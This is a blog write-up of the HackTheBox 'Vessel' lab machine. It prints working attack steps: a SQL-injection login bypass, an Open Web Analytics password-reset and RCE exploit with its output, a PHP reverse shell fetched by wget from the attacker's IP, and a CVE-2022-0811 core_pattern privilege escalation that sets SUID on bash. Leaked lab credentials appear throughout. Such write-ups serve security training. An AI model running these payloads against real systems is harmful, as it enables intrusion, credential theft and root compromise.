DEV Community

Cover image for HACKTHEBOX (HTB) WRITEUP: VESSEL [HARD]
Muhammad Usman
Muhammad Usman

Posted on

HACKTHEBOX (HTB) WRITEUP: VESSEL [HARD]

Objectives

  • User flag
  • Root flag

SCANNING

> TARGET=10.129.112.189 && nmap -p$(nmap -p- --min-rate=1000 -T4 $TARGET -Pn | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//) -sC -sV -Pn -vvv $TARGET -oN nmap_tcp_all.nmap PORT STATE SERVICE REASON VERSION 22/tcp open ssh syn-ack ttl 63 OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0) 80/tcp open http syn-ack ttl 63 Apache httpd 2.4.41 ((Ubuntu)) |_http-trane-info: Problem with XML parsing of /evox/about |_http-title: Vessel |_http-favicon: Unknown favicon MD5: 9A251AF46E55C650807793D0DB9C38B8 | http-methods: |_ Supported Methods: GET HEAD POST OPTIONS |_http-server-header: Apache/2.4.41 (Ubuntu) Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel 
Enter fullscreen mode Exit fullscreen mode

WEB ENUM

  • Inspecting the web page found a domain name: vessel.htb, add this to /etc/hosts
  • Registering an account at http://vessel.htb/register shows currently not available
  • Inspecting the traffic found a connect.sid, this indicates the use of nodejs express
POST /api/register HTTP/1.1 Host: vessel.htb User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Content-Length: 0 Origin: http://vessel.htb Connection: close Referer: http://vessel.htb/register Cookie: connect.sid=s%3ARkA_yhB0F8t4odxYkuBR7mSZW-eC_dHI.%2BQIqgvsy53mYn4YE12ma%2BtBKcRNpCaLdzcM4d5Gd81U Upgrade-Insecure-Requests: 1 
Enter fullscreen mode Exit fullscreen mode
  • Running path scan found a path called /dev
> dirsearch -u http://vessel.htb/ 
Enter fullscreen mode Exit fullscreen mode
  • Continue dirsearch under /dev found this is a git repository.
> dirsearch -u http://vessel.htb/dev 
Enter fullscreen mode Exit fullscreen mode
  • Use git-dumper to dump the git repo
> python3 ~/tools/git-dumper/git_dumper.py http://vessel.htb/dev repo 
Enter fullscreen mode Exit fullscreen mode
  • Note that there might be an error saying 'Index' object has no attribute 'iterblobs', to fix, pin your dulwich version to 0.20.20
> python3 -m pip install dulwich==0.20.20 
Enter fullscreen mode Exit fullscreen mode
  • Subdomain enum didn’t find anything
> wfuzz -c -f subdomains.txt -w /usr/share/wordlists/SecLists/Discovery/DNS/subdomains-top1million-5000.txt -u "http://vessel.htb/" -H "Host: FUZZ.vessel.htb" 
Enter fullscreen mode Exit fullscreen mode

SOURCE CODE INSPECTION

  • Inspect git log of the leaked repo
> git log commit 208167e785aae5b052a4a2f9843d74e733fbd917 (HEAD -> master) Author: Ethan <ethan@vessel.htb> Date: Mon Aug 22 10:11:34 2022 -0400 Potential security fixes commit edb18f3e0cd9ee39769ff3951eeb799dd1d8517e Author: Ethan <ethan@vessel.htb> Date: Fri Aug 12 14:19:19 2022 -0400 Security Fixes commit f1369cfecb4a3125ec4060f1a725ce4aa6cbecd3 Author: Ethan <ethan@vessel.htb> Date: Wed Aug 10 15:16:56 2022 -0400 Initial commit 
Enter fullscreen mode Exit fullscreen mode
  • From git log, found developer name is Ethan
Author: Ethan <ethan@vessel.htb> 
Enter fullscreen mode Exit fullscreen mode
  • Found db credential in config/db.js
var connection = { db: { host : 'localhost', user : 'default', password : 'daqvACHKvRn84VdVp', database : 'vessel' }}; 
Enter fullscreen mode Exit fullscreen mode

BYPASS WEB LOGIN

  • By inspecting the code, it seems that the sqli issue had been fixed in /routes/inject.js
router.post('/api/login', function(req, res) { let username = req.body.username; let password = req.body.password; if (username && password) { connection.query('SELECT * FROM accounts WHERE username = ? AND password = ?', [username, password], function(error, results, fields) { if (error) throw error; if (results.length > 0) { req.session.loggedin = true; req.session.username = username; req.flash('success', 'Succesfully logged in!'); res.redirect('/admin'); } else { req.flash('error', 'Wrong credentials! Try Again!'); res.redirect('/login'); } res.end(); }); } else { res.redirect('/login'); } }); 
Enter fullscreen mode Exit fullscreen mode
username=admin&password[password]=1 
Enter fullscreen mode Exit fullscreen mode
$cache_file = $this->makeCollectionDirPath($collection).$id.'.php'; # this corresponds to http://openwebanalytics.vessel.htb/owa-data/caches/1/ # cache_id is 1 by default 
Enter fullscreen mode Exit fullscreen mode
  • The cache file is generated using the id of the user in the format: md5(id1)
  • So, for the user with an id of 1, the cache name would be: fafe1b60c24107ccd8f4562213e44849
  • Using http://openwebanalytics.vessel.htb/index.php?owa_do=base.passwordResetForm, we can figure out a valid email, admin@vessel.htb
  • i assume this user has an id of 1, and in the end it turns out to be true.
  • We can attempt to login using this account, even a failed login will generate the cache file under: http://openwebanalytics.vessel.htb/owa-data/caches/1/owa_configuration/, yet this cache doesn’t contain any user sensitive info. So we need to find other corresponding actions to generate another caches.
  • With some Google search, i found someone else’s website running owa and revealed how the cache files are named. Then way i searched is using google search operators:
inurl: "owa-data/caches" 
Enter fullscreen mode Exit fullscreen mode
# get the base64 encoded content and then decode it > curl http://openwebanalytics.vessel.htb/owa-data/caches/1/owa_user/fafe1b60c24107ccd8f4562213e44849.php O:8:"owa_user":5:{s:4:"name";s:9:"base.user";s:10:"properties";a:10:{s:2:"id";O:12:"owa_dbColumn":11:{s:4:"name";N;s:5:"value";s:1:"1";s:9:"data_type";s:6:"SERIAL";s:11:"foreign_key";N;s:14:"is_primary_key";b:0;s:14:"auto_increment";b:0;s:9:"is_unique";b:0;s:11:"is_not_null";b:0;s:5:"label";N;s:5:"index";N;s:13:"default_value";N;}s:7:"user_id";O:12:"owa_dbColumn":11:{s:4:"name";N;s:5:"value";s:5:"admin";s:9:"data_type";s:12:"VARCHAR(255)";s:11:"foreign_key";N;s:14:"is_primary_key";b:1;s:14:"auto_increment";b:0;s:9:"is_unique";b:0;s:11:"is_not_null";b:0;s:5:"label";N;s:5:"index";N;s:13:"default_value";N;}s:8:"password";O:12:"owa_dbColumn":11:{s:4:"name";N;s:5:"value";s:60:"$2y$10$seT74YJuo1hsZgXS4UCYFOMogk95iQzGkCR9YjXoUAOg7w.dwumzO";s:9:"data_type";s:12:"VARCHAR(255)";s:11:"foreign_key";N;s:14:"is_primary_key";b:0;s:14:"auto_increment";b:0;s:9:"is_unique";b:0;s:11:"is_not_null";b:0;s:5:"label";N;s:5:"index";N;s:13:"default_value";N;}s:4:"role";O:12:"owa_dbColumn":11:{s:4:"name";N;s:5:"value";s:5:"admin";s:9:"data_type";s:12:"VARCHAR(255)";s:11:"foreign_key";N;s:14:"is_primary_key";b:0;s:14:"auto_increment";b:0;s:9:"is_unique";b:0;s:11:"is_not_null";b:0;s:5:"label";N;s:5:"index";N;s:13:"default_value";N;}s:9:"real_name";O:12:"owa_dbColumn":11:{s:4:"name";N;s:5:"value";s:13:"default admin";s:9:"data_type";s:12:"VARCHAR(255)";s:11:"foreign_key";N;s:14:"is_primary_key";b:0;s:14:"auto_increment";b:0;s:9:"is_unique";b:0;s:11:"is_not_null";b:0;s:5:"label";N;s:5:"index";N;s:13:"default_value";N;}s:13:"email_address";O:12:"owa_dbColumn":11:{s:4:"name";N;s:5:"value";s:16:"admin@vessel.htb";s:9:"data_type";s:12:"VARCHAR(255)";s:11:"foreign_key";N;s:14:"is_primary_key";b:0;s:14:"auto_increment";b:0;s:9:"is_unique";b:0;s:11:"is_not_null";b:0;s:5:"label";N;s:5:"index";N;s:13:"default_value";N;}s:12:"temp_passkey";O:12:"owa_dbColumn":11:{s:4:"name";N;s:5:"value";s:32:"56801c66e2a182724800625776088f0e";s:9:"data_type";s:12:"VARCHAR(255)";s:11:"foreign_key";N;s:14:"is_primary_key";b:0;s:14:"auto_increment";b:0;s:9:"is_unique";b:0;s:11:"is_not_null";b:0;s:5:"label";N;s:5:"index";N;s:13:"default_value";N;}s:13:"creation_date";O:12:"owa_dbColumn":11:{s:4:"name";N;s:5:"value";s:10:"1650211659";s:9:"data_type";s:6:"BIGINT";s:11:"foreign_key";N;s:14:"is_primary_key";b:0;s:14:"auto_increment";b:0;s:9:"is_unique";b:0;s:11:"is_not_null";b:0;s:5:"label";N;s:5:"index";N;s:13:"default_value";N;}s:16:"last_update_date";O:12:"owa_dbColumn":11:{s:4:"name";N;s:5:"value";s:10:"1650211659";s:9:"data_type";s:6:"BIGINT";s:11:"foreign_key";N;s:14:"is_primary_key";b:0;s:14:"auto_increment";b:0;s:9:"is_unique";b:0;s:11:"is_not_null";b:0;s:5:"label";N;s:5:"index";N;s:13:"default_value";N;}s:7:"api_key";O:12:"owa_dbColumn":11:{s:4:"name";s:7:"api_key";s:5:"value";s:32:"a390cc0247ecada9a2b8d2338b9ca6d2";s:9:"data_type";s:12:"VARCHAR(255)";s:11:"foreign_key";N;s:14:"is_primary_key";b:0;s:14:"auto_increment";b:0;s:9:"is_unique";b:0;s:11:"is_not_null";b:0;s:5:"label";N;s:5:"index";N;s:13:"default_value";N;}}s:16:"_tableProperties";a:4:{s:5:"alias";s:4:"user";s:4:"name";s:8:"owa_user";s:9:"cacheable";b:1;s:23:"cache_expiration_period";i:604800;}s:12:"wasPersisted";b:1;s:5:"cache";N;} 
Enter fullscreen mode Exit fullscreen mode
  • The password hash can be found from the cache, but it cannot be cracked. However, we can see there is a temp_passkey, which can be used with the base.usersChangePassword action to change the account’s password
http://openwebanalytics.vessel.htb/index.php?owa_do=base.usersChangePassword 
Enter fullscreen mode Exit fullscreen mode
  • Inspect the form to check the key name (hidden in the form) used for this request owa_k
  • Remove the hidden property, and paste the temp_passkey into the field, then change the password
  • Now, you should be able to login the account admin using the newly set password

    FOOTHOLD

  • Once logged in as admin, there is a poc that exploits the settings page: https://github.com/watchdog2000/cve-2022-24637_open-web-analytics-info-disclosure-to-rce

  • For details about how this exploit works, read the second vulnerability on https://devel0pment.de/?p=2494#vuln2. Basically, there is lacking restriction on the config checking, so this can be exploited to set a different base.error_log_file (can be a php file) and a different logging level base.error_log_level.

> python3 cve-2022-24637.py -u http://openwebanalytics.vessel.htb/ -U admin -P test123 [+] - Found cache url: http://openwebanalytics.vessel.htb//owa-data/caches/1/owa_user/c30da9265ba0a4704db9229f864c9eb7.php [+] - Downloaded cache [+] - Found passkey: c849df0b12c44d26568c2be0e99e4862 [+] - Changed password of user admin to 'test123' [+] - Submitted update for log file, ready for RCE... SHELL> id uid=33(www-data) gid=33(www-data) groups=33(www-data) 
Enter fullscreen mode Exit fullscreen mode
  • Note that this shell is very unstable, you’d better upgrade to a better shell
> cp /usr/share/webshells/php/php-reverse-shell.php w.php # change the IP and port # in the owa rce shell SHELL> wget http://10.10.16.59/w.php # run a nc listener and browse to http://openwebanalytics.vessel.htb/owa-data/logs/w.php in the browser 
Enter fullscreen mode Exit fullscreen mode
  • Once receiving a better shell

REVERSE ENG

  • There is a passwordGenerator under /home/steven, this appears to be a windows executable
  • There is also a png and a pdf file under /home/steven/.notes/
/home/steven/.notes/screenshot.png /home/steven/.notes/notes.pdf 
Enter fullscreen mode Exit fullscreen mode
  • The notes.pdf file is password protected, and the screenshot.png shows you what possible password complexity is used to generate the password.
  • Coming back to passwordGenerator. This is a windows 32 PE file, which is compiled using pyinstaller, to decompile it, use
https://github.com/extremecoders-re/pyinstxtractor 
Enter fullscreen mode Exit fullscreen mode
  • Note that this tool is made for 3.7, so, to ensure things can be extracted correctly, you need to install python3.7
  • Then, install uncompyle6 to decompile the passwordGenerator.pyc file, it is suggested to create a virtualenv for python3.7 so that you can always revert when things didn’t work out
# install virtualenv and activate python.exe -m pip install virtualenv python.exe -m virtualenv env37 env37\Scripts\activate # extract content python pyinstxtractor.py passwordGenerator # decompile pip install uncompyle6 uncompyle6 passwordGenerator.pyc 
Enter fullscreen mode Exit fullscreen mode
  • Reading the code, it would seem that there is a 32¹²⁸ combinations of passwords, however, running the code on these lines shows that the idx will only be a limited number of values due to how QT implements the random number generator.
qsrand(QTime.currentTime().msec()) password = '' for i in range(length): idx = qrand() % len(charset) 
Enter fullscreen mode Exit fullscreen mode
  • Copying the genPassword code and modify it to make it work.
  • Then create a while loop to genreate passwords, the process will become extremely slow at around 1000 passwords.
from PySide2.QtCore import * def genPassword(): length = 32 char = 0 if char == 0: charset = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz1234567890~!@#$%^&*()_-+={}[]|:;<>,.?' else: if char == 1: charset = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz' else: if char == 2: charset = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz1234567890' else: pass try: qsrand(QTime.currentTime().msec()) password = '' for i in range(length): idx = qrand() % len(charset) nchar = charset[idx] password += str(nchar) except: print('error') return password def gen_possible_passes(): passes = [] try: while True: ps = genPassword() if ps not in passes: passes.append(ps) # print(ps) print(len(passes)) except KeyboardInterrupt: with open('pass.txt', 'w') as ofile: for p in passes: ofile.write(p + '\n') gen_possible_passes() 
Enter fullscreen mode Exit fullscreen mode
  • Then use it with pdfcrack, you should have your password.
> pdfcrack -f notes.pdf -w ~/share/passwordGenerator_extracted/pass.txt PDF version 1.6 Security Handler: Standard V: 2 R: 3 P: -1028 Length: 128 Encrypted Metadata: True FileID: c19b3bb1183870f00d63a766a1f80e68 U: 4d57d29e7e0c562c9c6fa56491c4131900000000000000000000000000000000 O: cf30caf66ccc3eabfaf371623215bb8f004d7b8581d68691ca7b800345bc9a86 found user-password: 'YG7Q7RDzA+q&ke~MJ8!yRzoI^VQxSqSS' 
Enter fullscreen mode Exit fullscreen mode
  • Open up the pdf file, you should have ethan’s password
Dear Steven, As we discussed since I'm going on vacation you will be in charge of system maintenance. Please ensure that the system is fully patched and up to date. Here is my password: b@mPRNSVTjjLKId1T System Administrator Ethan 
Enter fullscreen mode Exit fullscreen mode
  • Login as ethan to get the user flag

    PE

  • Upload linpeas.sh and run, found the following info

-rwsr-x--- 1 root ethan 796K Mar 15 18:18 /usr/bin/pinns (Unknown SUID binary) [+] Checking if runc is available [i] https://book.hacktricks.xyz/linux-unix/privilege-escalation/runc-privilege-escalation runc was found in /usr/sbin/runc, you may be able to escalate privileges with it 
Enter fullscreen mode Exit fullscreen mode
  • With some google search, this is found to be related to a recent vulnerability: https://www.crowdstrike.com/blog/cr8escape-new-vulnerability-discovered-in-cri-o-container-engine-cve-2022-0811/

    EXPLOITING CVE-2022–0811

  • Follow the steps closely, this is a confusing exploit

  • Note that there is no kubectl, minikube, docker etc involved in this exploit. You need to understand the concept of cve-2022–0811 and replicate using the underlying commands

  • Using pspy64, we can see that there are some scripts that keep deleting stuff in various folder. So i decided to do my exploit in /tmp/meow folder.

2022/08/31 05:28:01 CMD: UID=0 PID=53674 | sudo -u ethan rm -rf /home/ethan/*sh /home/ethan/.*sh /home/ethan/*/*.sh /home/ethan/*/*sh /home/ethan/.*/*sh /home/ethan/.*/.*sh 2022/08/31 05:28:01 CMD: UID=0 PID=53673 | /bin/sh /root/scripts/clean2.sh 2022/08/31 05:28:01 CMD: UID=0 PID=53672 | /bin/sh -c /root/scripts/clean2.sh 2022/08/31 05:28:01 CMD: UID=0 PID=53676 | /bin/bash /root/scripts/clean.sh 2022/08/31 05:28:01 CMD: UID=0 PID=53679 | sudo -u steven rm -rf /home/steven/.notes/.*sh /home/steven/.notes/*sh 2022/08/31 05:28:01 CMD: UID=1001 PID=53681 | rm -rf /home/steven/.notes/.*sh /home/steven/.notes/*sh 2022/08/31 05:28:01 CMD: UID=0 PID=53682 | umount /home/ethan/utsns/* /home/ethan/ipcns/* /home/ethan/netns/* /home/ethan/cgroupns/* 2022/08/31 05:28:01 CMD: UID=0 PID=53683 | umount /home/steven/utsns/* /home/steven/ipcns/* /home/steven/netns/* /home/steven/cgroupns/* 2022/08/31 05:28:01 CMD: UID=0 PID=53685 | sudo -u ethan rm -rf /home/ethan/utsns /home/ethan/ipcns /home/ethan/netns /home/ethan/cgroupns 2022/08/31 05:28:01 CMD: UID=1000 PID=53686 | 2022/08/31 05:28:01 CMD: UID=0 PID=53687 | sudo -u steven rm -rf /home/steven/utsns /home/steven/ipcns /home/steven/netns /home/steven/cgroupns 2022/08/31 05:28:01 CMD: UID=0 PID=53689 | sudo -u ethan rm /tmp/*.sh 2022/08/31 05:28:01 CMD: UID=0 PID=53691 | /bin/sh /root/scripts/clean2.sh 
Enter fullscreen mode Exit fullscreen mode
  • Open two ssh sessions

STEP 1

  • In session 1, do the following
ethan@vessel:~$ mkdir /tmp/meow && cd /tmp/meow ethan@vessel:/tmp/meow$ runc spec --rootless ethan@vessel:/tmp/meow$ mkdir rootfs ethan@vessel:/tmp/meow$ vi config.json ############# under mounts section, add the following content { "type": "bind", "source": "/", "destination": "/", "options": [ "rbind", "rw", "rprivate" ] }, ############# ethan@vessel:/tmp/meow$ runc --root /tmp/meow run alpine # you should be in the container now, but this is a read-only filesystem 
Enter fullscreen mode Exit fullscreen mode

STEP 2

  • In session 2, create a script that adds the s bit to /usr/bin/bash
ethan@vessel:~$ echo -e '#!/bin/sh\nchmod +s /usr/bin/bash' > /tmp/meow/e.sh && chmod +x /tmp/meow/e.sh 
Enter fullscreen mode Exit fullscreen mode

STEP 3

  • In sesison 1, check the script is created and is executable
# ls -ls /tmp/meow total 16 4 drwx--x--x 2 root root 4096 Aug 31 10:49 alpine 4 -rw-rw-r-- 1 root root 2875 Aug 31 10:49 config.json 4 -rwxrwxr-x 1 root root 33 Aug 31 10:50 e.sh 4 drwxrwxr-x 5 root root 4096 Aug 31 10:48 rootfs 
Enter fullscreen mode Exit fullscreen mode

STEP 4

  • In session 2, use pinns to assign the kernel.core_pattern a value so that upon a core dump, it will execute the malicious script
ethan@vessel:~$ pinns -d /var/run -f 844aa3c8-2c60-4245-a7df-9e26768ff303 -s 'kernel.shm_rmid_forced=1+kernel.core_pattern=|/tmp/meow/e.sh #' --ipc --net --uts --cgroup 
Enter fullscreen mode Exit fullscreen mode

STEP 5

  • In session 1, trigger a core dump
# ulimit -c unlimited # tail -f /dev/null & # ps PID TTY TIME CMD 1 pts/0 00:00:00 sh 12 pts/0 00:00:00 tail 13 pts/0 00:00:00 ps # bash -i bash: /root/.bashrc: Permission denied root@runc:/# kill -SIGSEGV 12 root@runc:/# ps PID TTY TIME CMD 1 pts/0 00:00:00 sh 14 pts/0 00:00:00 bash 17 pts/0 00:00:00 ps 
Enter fullscreen mode Exit fullscreen mode

STEP 6

  • In session 2, check that the s bit has been assigned to usr/bin/bash, and then promote to effective root
ethan@vessel:~$ ls -ls /usr/bin/bash 1160 -rwsr-sr-x 1 root root 1183448 Apr 18 09:14 /usr/bin/bash ethan@vessel:~$ bash -p bash-5.0# cd /root bash-5.0# cat root.txt 
Enter fullscreen mode Exit fullscreen mode

Top comments (0)